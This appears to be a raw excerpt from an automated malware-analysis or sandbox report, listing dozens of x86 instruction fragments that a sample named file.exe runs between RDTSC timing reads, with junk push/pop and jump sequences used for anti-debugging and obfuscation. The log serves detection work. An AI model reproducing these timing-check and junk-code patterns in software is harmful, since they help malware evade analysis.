Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4B36 second address: 8E4B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E2h 0x00000007 jmp 00007FC8292819E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jng 00007FC8292819D6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4B6D second address: 8E4B7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4B7C second address: 8E4B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4CD2 second address: 8E4CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC82927EE7Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4CF4 second address: 8E4CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4CF8 second address: 8E4CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4CFE second address: 8E4D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DEh 0x00000007 jmp 00007FC8292819E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007FC8292819DEh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C53 second address: 8E5C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C57 second address: 8E5C6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FC8292819D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C6B second address: 8E5C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C6F second address: 8E5CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC8292819D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 jmp 00007FC8292819E7h 0x0000001a pushad 0x0000001b jmp 00007FC8292819E2h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5CB0 second address: 8E5CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5CB8 second address: 8E5CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FC8292819DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3A8E second address: 8E3A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC926 second address: 8EC934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FC8292819D6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC934 second address: 8EC93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC93C second address: 8EC942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC942 second address: 8EC957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC348 second address: 8EC36D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jns 00007FC8292819D6h 0x00000013 jmp 00007FC8292819E1h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC36D second address: 8EC384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Dh 0x00000007 jnl 00007FC82927EE7Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC65E second address: 8EC693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E4h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FC8292819E8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7958 second address: 8F7962 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7962 second address: 8F7966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC7B1 second address: 8FC7C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC82927EE7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC966 second address: 8FC96B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9035CA second address: 9035D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9035D9 second address: 903603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8292819E9h 0x00000008 jmp 00007FC8292819DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903603 second address: 903610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903610 second address: 903621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CD3B second address: 90CD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915084 second address: 91508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91508F second address: 915093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915211 second address: 915224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FC8292819DEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915224 second address: 915247 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC82927EE89h 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FC82927EE76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9156AA second address: 9156B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9157F7 second address: 915801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC82927EE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915801 second address: 915807 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915807 second address: 915817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FC82927EE76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915817 second address: 91581B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91581B second address: 915821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915821 second address: 915830 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC8292819DAh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF9A second address: 91DF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF9E second address: 91DFA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DFA4 second address: 91DFAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D234 second address: 81D238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B33B second address: 92B33F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B33F second address: 92B345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92719F second address: 9271A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9271A3 second address: 9271A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9271A7 second address: 9271AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A012 second address: 93A033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FC8292819E7h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B694 second address: 93B698 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B698 second address: 93B69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C473 second address: 94C479 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B234 second address: 94B23A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B23A second address: 94B263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jnc 00007FC82927EE78h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC82927EE88h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B263 second address: 94B26D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC8292819D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94B53C second address: 94B542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94BF33 second address: 94BF68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FC8292819EFh 0x00000011 jmp 00007FC8292819E7h 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94BF68 second address: 94BF7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC82927EE7Ch 0x00000009 jp 00007FC82927EE76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C100 second address: 94C104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C104 second address: 94C139 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FC82927EE87h 0x00000011 jno 00007FC82927EE7Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950716 second address: 950726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950ADC second address: 950AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952122 second address: 952128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952128 second address: 95212C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95212C second address: 95213C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DAh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95213C second address: 952146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC82927EE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952146 second address: 95214A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95214A second address: 95218A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC82927EE81h 0x0000000f pushad 0x00000010 jmp 00007FC82927EE7Eh 0x00000015 jng 00007FC82927EE76h 0x0000001b jmp 00007FC82927EE7Fh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95218A second address: 9521A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954278 second address: 95427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95427C second address: 9542A3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC8292819D6h 0x00000008 jmp 00007FC8292819E3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jl 00007FC8292819D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD048B second address: 4DD04C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007FC82927EE7Dh 0x0000000c and eax, 507FE686h 0x00000012 jmp 00007FC82927EE81h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04C1 second address: 4DD04C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04C5 second address: 4DD04C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04C9 second address: 4DD04CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05C5 second address: 4DD05D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05D2 second address: 4DD05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05D6 second address: 4DD05DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05DC second address: 4DD060B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC8292819E0h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C07D second address: 86C094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FC82927EE76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0D6B second address: 4DD0DD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 6032h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+04h] 0x00000010 jmp 00007FC8292819E2h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 call 00007FC8292819DEh 0x0000001e mov bh, ah 0x00000020 pop ebx 0x00000021 pushfd 0x00000022 jmp 00007FC8292819DCh 0x00000027 jmp 00007FC8292819E5h 0x0000002c popfd 0x0000002d popad 0x0000002e push dword ptr [ebp+08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov si, dx 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0060 second address: 4DF00AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC82927EE86h 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FC82927EE80h 0x00000016 push eax 0x00000017 jmp 00007FC82927EE7Bh 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov dx, 0474h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00AC second address: 4DF0176 instructions: 0x00000000 rdtsc 0x00000002 mov bl, F3h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FC8292819E2h 0x0000000f and ah, 00000028h 0x00000012 jmp 00007FC8292819DBh 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007FC8292819E8h 0x0000001e or ax, 2888h 0x00000023 jmp 00007FC8292819DBh 0x00000028 popfd 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c call 00007FC8292819DFh 0x00000031 pushad 0x00000032 popad 0x00000033 pop esi 0x00000034 mov edi, 79195FDAh 0x00000039 popad 0x0000003a xchg eax, ecx 0x0000003b jmp 00007FC8292819E1h 0x00000040 push dword ptr [ebp+08h] 0x00000043 jmp 00007FC8292819DEh 0x00000048 lea eax, dword ptr [ebp-08h] 0x0000004b jmp 00007FC8292819E0h 0x00000050 nop 0x00000051 pushad 0x00000052 popad 0x00000053 push eax 0x00000054 jmp 00007FC8292819E9h 0x00000059 nop 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0176 second address: 4DF017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF017A second address: 4DF018D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF018D second address: 4DF0193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0193 second address: 4DF0197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0197 second address: 4DF019B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01C8 second address: 4DF01CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01CC second address: 4DF01D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01D2 second address: 4DF01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF01D8 second address: 4DF01DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02A1 second address: 4DF02A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02A7 second address: 4DF02B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02B6 second address: 4DF02BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
